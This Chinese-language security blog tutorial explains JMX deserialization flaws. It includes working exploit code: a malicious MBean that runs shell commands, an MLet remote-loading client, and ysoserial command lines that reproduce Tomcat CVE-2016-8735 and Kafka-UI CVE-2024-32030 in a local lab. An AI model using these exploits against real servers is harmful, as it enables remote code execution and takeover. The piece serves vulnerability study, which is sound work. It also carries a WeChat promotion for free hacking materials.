JMX 反序列化漏洞

蚁景网安实验室發表於2024-07-18

前言

前段時間看到普元 EOS Platform 爆了這個洞,Apache James,Kafka-UI 都爆了這幾個洞,所以決定系統來學習一下這個漏洞點。

JMX 基礎

JMX 前置知識

JMX(Java Management Extensions,即 Java 管理擴充套件)是一個為應用程式、裝置、系統等植入管理功能的框架。JMX 可以跨越一系列異構作業系統平臺、系統體系結構和網路傳輸協議,靈活的開發無縫整合的系統、網路和服務管理應用。

可以簡單理解 JMX 是 java 的一套管理框架,coders 都遵循這個框架,實現對程式碼應用的監控與管理。

JMXStructure

JMX 的結構一共分為三層:

1、基礎層:主要是 MBean,被管理的資源。分為四種,常用需要關注的是兩種。

  • standard MBean 這種型別的 MBean 最簡單,它能管理的資源(包括屬性、方法、時間)必須定義在介面中,然後 MBean 必須實現這個介面。它的命令也必須遵循一定的規範,例如我們的 MBean 為 Hello,則介面必須為 HelloMBean。

  • dynamic MBean 必須實現 javax.management.DynamicMBean 介面,所有的屬性,方法都在執行時定義。2、適配層:MBeanServer,主要是提供對資源的註冊和管理。3、接入層:Connector,提供遠端訪問的入口。

JMX 基礎程式碼實踐

以下程式碼實現簡單的 JMX demo,檔案結構

├── HelloWorld.java  
├── HelloWorldMBean.java  
└── jmxDemo.java

HelloWorldMBean.java

package org.example;
​
public interface HelloWorldMBean {
    public void sayhello();
    public int add(int x, int y);
    public String getName();
}
​

HelloWorld.java

package org.example;
​
public class HelloWorld implements HelloWorldMBean{
    private String name = "Drunkbaby";
    @Override
    public void sayhello() {
        System.out.println("hello world" + this.name);
    }
​
    @Override
    public int add(int x, int y) {
        return x + y;
    }
​
    @Override
    public String getName() {
        return this.name;
    }
}
​

jmxDemo.java

package org.example;
​
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
​
public class jmxDemo {
    public static void main(String[] args) throws Exception{
        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
        ObjectName mbsName = new ObjectName("test:type=HelloWorld");
        HelloWorld mbean = new HelloWorld();
        mBeanServer.registerMBean(mbean, mbsName);
​
        // 建立一個 RMI Registry
        Registry registry = LocateRegistry.createRegistry(1099);
        // 構造 JMXServiceURL,繫結建立的 RMI
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
        // 構造JMXConnectorServer,關聯 mbserver
        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
        jmxConnectorServer.start();
        System.out.println("JMXConnectorServer is ready");
​
        System.out.println("press any key to exit.");
        System.in.read();
​
    }
}
​

其中

  • Probe Level:建立了 HelloWorldMBean 例項 mbean

  • Agent Level:建立了 MBeanServer 例項 mbs

  • Remote Management Level: 建立了JMXServiceURL,繫結到本地 1099 rmi,關聯到MBeanServer mbs

JMX 安全問題

JMX 的安全問題主要發生在以下三處

1、jmx2、mbean3、rmi

其中透過利用 MLet 是最常用的攻擊手法,算是 jmx 特性 + mbean 利用,接下來我們詳細來看看 Mlet 的漏洞利用及原理。

Mlet

Mlet 指的是 javax.management.loading.MLet,該 mbean 有個 getMBeansFromURL 的方法,可以從遠端 mlet server 載入 mbean。

攻擊過程:

  1. 啟動託管 MLet 和含有惡意 MBean 的 JAR 檔案的 Web 伺服器

  2. 使用JMX在目標伺服器上建立 MBeanjavax.management.loading.MLet 的例項

  3. 呼叫 MBean 例項的 getMBeansFromURL 方法,將 Web 伺服器 URL 作為引數進行傳遞。JMX 服務將連線到http伺服器並解析MLet檔案

  4. JMX 服務下載並歸檔 MLet 檔案中引用的 JAR 檔案,使惡意 MBean 可透過 JMX 獲取

  5. 攻擊者最終呼叫來自惡意 MBean 的方法

  • 下面我們來編寫一個漏洞例項。

Evil MBean

檔案結構

├── Evil.java
└── EvilMBean.java

EvilMBean.java

package com.drunkbaby.mlet;  
  
public interface EvilMBean {  
    public String runCommand(String cmd);  
}

Evil.java

package com.drunkbaby.mlet;  
  
import java.io.BufferedReader;  
import java.io.InputStreamReader;  
  
public class Evil implements EvilMBean  
{  
    public String runCommand(String cmd)  
    {  
        try {  
            Runtime rt = Runtime.getRuntime();  
            Process proc = rt.exec(cmd);  
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));  
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));  
            String stdout_err_data = "";  
            String s;  
            while ((s = stdInput.readLine()) != null)  
            {  
                stdout_err_data += s+"\n";  
            }  
            while ((s = stdError.readLine()) != null)  
            {  
                stdout_err_data += s+"\n";  
            }  
            proc.waitFor();  
            return stdout_err_data;  
        }  
        catch (Exception e)  
        {  
            return e.toString();  
        }  
    }  
}

Mlet Server

將原本的檔案打包為 jar 包。步驟省略了,就是 build Artifacts。隨後編寫 evil.html

<html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>

整體結構如圖

JMXJar.png

Attack Code

ExploitJMXByRemoteMBean.java

package com.drunkbaby.mlet;  
  
import javax.management.MBeanServerConnection;  
import javax.management.ObjectInstance;  
import javax.management.ObjectName;  
import javax.management.remote.JMXConnector;  
import javax.management.remote.JMXConnectorFactory;  
import javax.management.remote.JMXServiceURL;  
import java.net.MalformedURLException;  
import java.util.HashSet;  
import java.util.Iterator;  
  
public class ExploitJMXByRemoteMBean {  
  
    public static void main(String[] args) {  
        try {  
//            connectAndOwn(args[0], args[1], args[2]);  
            connectAndOwn("localhost","1099","open -a Calculator");  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
  
    static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {  
        try {  
            // step1. 透過rmi建立 jmx連線  
            JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");  
            System.out.println("URL: " + u + ", connecting");  
            JMXConnector c = JMXConnectorFactory.connect(u);  
            System.out.println("Connected: " + c.getConnectionId());  
            MBeanServerConnection m = c.getMBeanServerConnection();  
  
            // step2. 載入特殊MBean:javax.management.loading.MLet  
            ObjectInstance evil_bean = null;  
            ObjectInstance evil = null;  
            try {  
                evil = m.createMBean("javax.management.loading.MLet", null);  
            } catch (javax.management.InstanceAlreadyExistsException e) {  
                evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));  
            }  
            // step3:透過MLet載入遠端惡意MBean  
            System.out.println("Loaded "+evil.getClassName());  
            Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]  
                            { "http://localhost:4141/evil.html"},  
                    new String[] { String.class.getName() } );  
  
            HashSet res_set = ((HashSet)res);  
            Iterator itr = res_set.iterator();  
            Object nextObject = itr.next();  
            if (nextObject instanceof Exception)  
            {  
                throw ((Exception)nextObject);  
            }  
            evil_bean = ((ObjectInstance)nextObject);  
  
            // step4: 執行惡意MBean  
            System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());  
            System.out.println("Calling runCommand with: "+command);  
            Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });  
            System.out.println("Result: "+result);  
        } catch (Exception e)  
        {  
            e.printStackTrace();  
        }  
    }  
}

mletCalc.png

很明顯這裡是和遠端的 jar 包進行了連線,而遠端的 jar 包上面放置了惡意的 MBean,關於 Mlet 的攻擊流程和漏洞分析會在文章後半部分展開來講。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

JMX 反序列化漏洞

在實際場景中 JMX 一般出現的漏洞點都是在某某反序列化當中。下面內容總結一下可能存在的三個問題

JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735

漏洞描述

這其實是 JDK 的洞 —— JMX 導致的,但是由於 Tomcat 沒有及時打補丁,所以這個漏洞被披露在 Tomcat 中。該漏洞的底層原因是由於 Tomcat 在配置 JMX 做監控時使用了 JmxRemoteLifecycleListener() 方法。

  • 漏洞利用前置條件為 JmxRemoteLifecycleListener 監聽的 10001 和 10002 埠被開放。

影響版本

Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47

環境搭建

https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735

需要新增一個 listener 和 catalina.sh,網上教程都有,包括兩個 jar 包,我這裡不再贅述了。

漏洞復現

  • 漏洞復現的 EXP 已經有了

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"

JMXRce.png

漏洞觸發點 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer

try {  
    RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);  
    cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());  
    cs.start();  
    registry.bind("jmxrmi", server);  
    log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));  
} catch (AlreadyBoundException | IOException var15) {  
    log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);  
}

很經典的手法,registry.bind() 呼叫反序列化,接著透過 Grovvy1 鏈觸發

同樣這裡其實也是用 RMI 協議來打的。

利用 Mlet 的方式動態載入 MBean

這個有點意思,上面在講 Mlet 攻擊的時候其實我們有提到,Mlet 是透過載入遠端的 jar 包,呼叫裡面的 codebase 來 rce 的。

而 JMX 呼叫遠端 MBean 方法有以下流程:

1、MBean name、MBean Function Name、params,傳送給遠端的 rmi server,其中 params 需要先統一轉換為 MarshalledObject,透過 readObject 轉換為字串。2、RMI Server監聽到網路請求,包含MBean name、MBean Function Name、 params,其中params經過MarshalledObject.readObject() 反序列化,再透過invoke呼叫原函式。

所以這裡只需要我們惡意構造 String 進行反序列化,就可以進行攻擊。在 ysoserial 當中,這一個類為 JMXInvokeMBean

package ysoserial.exploit;
​
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
​
import ysoserial.payloads.ObjectPayload.Utils;
​
/*
 * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
 * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
 * 
 */
public class JMXInvokeMBean {
​
    public static void main(String[] args) throws Exception {
    
        if ( args.length < 4 ) {
            System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
            System.exit(-1);
        }
        
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
        
        JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
        MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
​
        // create the payload
        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
        ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
​
        mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
​
        //close the connection
        jmxConnector.close();
    }
}

我看下來兩種漏洞利用的最終思路是很類似的,都是 RMi 去打反序列化,不一樣的點在於一個是利用 RMIxxx.bind() 另外一種是在用 jmx:rmi// 協議去打。

當漏洞照進現實 —— CVE-2024-32030 Kafka-UI 反序列化漏洞

https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/

漏洞描述

Kafka UI 是 Apache Kafka 管理的開源 Web UI。Kafka UI API 允許使用者透過指定網路地址和埠連線到不同的 Kafka brokers。作為一個獨立的功能,它還提供了透過連線到其 JMX 埠監視 Kafka brokers 效能的能力。CVE-2024-32030 中,由於預設情況下 Kafka UI 未開啟認證授權,攻擊者可構造惡意請求利用後臺功能執行任意程式碼,控制伺服器。官方已釋出安全更新,修復該漏洞。

影響版本

Kafka-UI <= 0.7.1

環境搭建

Kafka-UI 的 docker

version: '3.8'
​
services:
  kafka-ui:
    image: provectuslabs/kafka-ui:v0.7.1
    container_name: kafka-ui
    environment:
      - DYNAMIC_CONFIG_ENABLED=true
      - JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
    ports:
      - "8080:8080"
      - "5005:5005"

Kafka 的 UI,之前分析 Kafka 漏洞的時候就寫過了

version: '2'
​
services:
  zookeeper:
    image: zookeeper
    restart: always
    ports:
      - "2181:2181"
    container_name: zookeeper
​
  kafka:
    image: wurstmeister/kafka
    restart: always
    ports:
      - "9092:9092"
      - "9094:9094"
    depends_on:
      - zookeeper
    environment:
      KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1
      KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
      KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
    container_name: kafka

漏洞復現

使用 ysoserial 直接打,起一個惡意的 JMX 服務。

git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

開啟了之後,使用 Kafka-UI 去連線該 JMX

Kafka-JMX.png

第一步先開啟 org.apache.commons.collections.enableUnsafeSerialization:true,再進行 CC 的反序列化。

伺服器接收到惡意的請求

receiveJMX.png

隨後第二步直接使用 CC 鏈打。

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"

攻擊成功

rcesuccess.png

漏洞分析

透過簡單的搜尋就可以確定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo

最終的觸發點是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法

retrieveSync.png

後面其實就是 RMI 的部分了,當然這裡還涉及到了 Scala1 鏈暫時不展開。

這一個漏洞其實也是 jmx://rmi// 可控造成的一個問題。但是這裡的修復只是更新了一部分依賴,把 CC3 更新成了 CC4。所以其實還是存在一定的繞過的。

更多網安技能的線上實操練習,請點選這裡>>

相關文章